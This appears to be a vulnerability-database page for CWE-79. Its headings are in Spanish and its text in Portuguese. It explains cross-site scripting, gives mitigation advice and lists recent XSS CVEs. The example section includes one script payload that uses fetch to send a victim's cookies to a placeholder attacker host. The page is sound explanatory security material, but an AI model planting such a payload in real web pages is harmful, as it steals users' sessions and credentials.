Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64799MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-61640NONEStored XSS through system messages in Special:RecentChangesLinked (MW Core)EPSS 0.3%CVE-2025-53427HIGHWordPress SEO Pyramid plugin <= 1.9.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-52760HIGHWordPress MultiSite Clone Duplicator plugin <= 1.5.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64619MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-48107HIGHWordPress Uncode theme < 2.9.4.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64826MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-53238HIGHWordPress Toast Mobile Menu plugin <= 1.0.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64562MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-64594MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-53351HIGHWordPress Fidelo Snippet plugin <= 1.12 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64626MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64604MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-49957HIGHWordPress Email Attachment by Order Status & Products Plugin <= 1.0.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-49930HIGHWordPress JetSearch plugin <= 3.5.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23840HIGHWordPress WP-NOTCAPTCHA Plugin <= 1.3.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24564HIGHWordPress Contact Form With Shortcode plugin <= 4.2.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64615MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-26992MEDIUMLibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups nameEPSS 0.3%CVE-2025-64796MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%